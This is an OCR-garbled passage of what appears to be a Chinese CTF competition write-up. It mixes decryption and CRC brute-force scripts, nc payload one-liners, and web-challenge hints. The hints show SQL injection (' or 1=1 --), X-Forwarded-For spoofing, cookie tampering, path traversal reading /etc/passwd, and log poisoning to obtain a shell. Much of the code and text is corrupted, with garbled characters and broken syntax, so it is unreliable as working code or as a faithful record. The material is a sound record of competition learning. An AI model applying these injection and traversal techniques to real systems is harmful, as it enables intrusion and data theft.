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nowadays, the world seems to turn faster than a couple of years ago. time has come to reflect that also in
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https://blog.csdn.net/wangyi_lin
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/wangyi_lin/article/details/25246299
https://github.com/alexbers/substitution_cipher_solver

H o+ 0O
n
0
>
]
—~
(O]
~

=0
j=0
rs=""
= open('msg@l’', 'rb').read()
= open('msg@l.enc', 'rb').read()
sg=""
for x in g:
sg+=X
for p in f:
¢ = (ord(sg[i])-ord(p)-i**i) ~ ord(t)
c = c & oxff
t=p
i+=1
rs += chr(c)
print rs
g.close()
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key="DoNotTryToGuessWhatDoesD3AdCa7ThinkOf"

c =
t = chr(9)
i=290
j=0
rs=""
f = open('msg@2.enc', 'rb').read()
for p in f:
¢ = int(ord(p)-int(ord(key[i%len(key)])”ord(t))-i**i)
Cc =c % 256
#print str(ord(p))+ "==>" + str(ord(c))
rs=rs+chr(c)
#print rs
t = chr(c)
i+=1
print rs
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import binascii
crc_num = set([Ox2051B76C, Ox54BFFE11l, OxCA2AA4DE, OxOF92F67F, OxOO6AE2AA, Ox2BE19221, Ox6C15A277])
for i in range(32,128):
for j in range(32,128):
for k in range(32,128):
for 1 in range(32,128):
for m in range(32,128):
txt = chr(i)+chr(j)+chr(k)+chr(1l)+chr(m)
if int(hex(binascii.crc32(txt)),16) in crc_num:
print txt
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python -c "print 'x5cx85x@4x@8'*100"|nc 211.149.187.109 2009

explot 200
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python -c "print 'killPig 11lnfeedPig 222neatItn'"|nc 211.149.187.109 2010
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ILUE T printf A& ARG S, AT LA ] = - B BE4T SR

??=define LEFT (

??=define RIGHT )

??=define P p??=??=rintf

main LEFT int argc, char **argv RIGHT {
P LEFT * LEFT argv + 1 RIGHT RIGHT;
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import Image
import random
for n in range(1,100):
qt = Image.open("gogogo.png")
pix = qt.load()
for i in range(21,30):
for j in range(26,30):
if random.randint(0,100) < 50:
pix[i,j] = 0,0,0
for i in range(26,30):
for j in range(21,26):
if random.randint(0,100) < 50:
pix[i,j] = 0,0,0
gt.save("test"+str(n)+".png")
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hint 1: <!--way = "H4ck_FOr_Fun!GoGoGo!" -->
hint 2: Can you GET the way to flag?

it http://218.2.197.236:2005/index.php?way=H4ck_FOr_Fun!GoGoGo! #7422 J5 3 Fhint 3

hint 3: flag can only access in local machine!

Fyit X-Forwarded-For: 127.0.0.1 BRI 775 Flflag
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hint 1: FLAGfEadminff)FHL!

#Jif name:admin pass:' 1=1 - 15 3/hint 2

hint 2: flag is in ae6032eeeb5cedc1555940983435335b. php (I G501 N TH1EE)

I TERttp Sk 3R HChint 3

hint 3: beda47ac34562108ee149767c61cb@ec.php

Vi 3K 15 hint 4

hint 4: You find it! But only admin can see the flag...can you see it?

KJi& Cookie: admin=1 B f]ikFflag
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hint 1: This doubi web blog layout is provided by ./bc

7 il http://218.2.197.236:2001 /bc/index. html5 £ — 57 1 DL i, 25 I 77 75 I i1 0 T

guess 1: http://218.2.197.236:2001/download/doWnlOad.php?uuu=/media/baka.txt
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guess 2: http://218.2.197.236:2001/download/doWnlOad.php?uuu=/etc/passwd
hint 2: HINT:x:500:500::/usr/share/ngInx/html:/bin/bash

FFB PR H 5%, B & loginphp G RIYSERY, I SCAAFAE fr & AT IR, ld 3Tk Bldbinfo S f, Bl I 5% 3flag

web 400

hint 1. EEEMREMIIA, MHELILFERAEMET.

i it web 300 _F A% —F) 1% T 2% 2 i1 (FINote,  #53hint 2,3,4,5
hint 2: aay# 7 HFAHLEH— MEAR Ao FRSEAEATEK LinuxPl, (HRAMME AR5 A R, 1% 2£hejubiAn. php.
hint 3: A MRRSEIEERS TS8R, IEFHEERAA R — AR D bkt 5, e,

hint 4: EAMAERE Rid— TR AR DIELIE, S5 T, AdEEFELARZEG~HERRAFRANMETKqq, FiLRLXH%T
hint 5: SFUNLERKEE Raay B2 EEroot /IR, HMARNERNZH, REMPIRIRT . LIRS 8T A>alias KRG K rc
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guess 1:password=JyBvciAxPTEgLSOg

i itbase64iF N —)ifi 15 2 hint 39 (¥ shellihik Athint 45 14k FQQ, A AR A1t iYwangbiyun
15 3shellz J5%&1— 15 2flag

guess 2: /var/tmp/.pwds
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hint 1: /NREFEZEPI R TN 200 (R 28 Enginx ) X4E T —iweb300 [y .

iE T web 3001 shellfE ik —i{ 4L 2 H AR IP

guess 1: 172.17.1.3
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R B st letc/passwd 45 hint 2

guess 2: uuu=/etc/passwd
hint 2: boss:x:500:500::/var/www/boss:/bin/bash

3 lboss H 3 FHISCAF, 13 %hint 3

guess 2: uuu=/var/www/boss/index.php
hint 3: fucktien.php

L fucktinphp 2%, R IUA SO SRR, @itlog /r s Fshell, BITT 3513 flag
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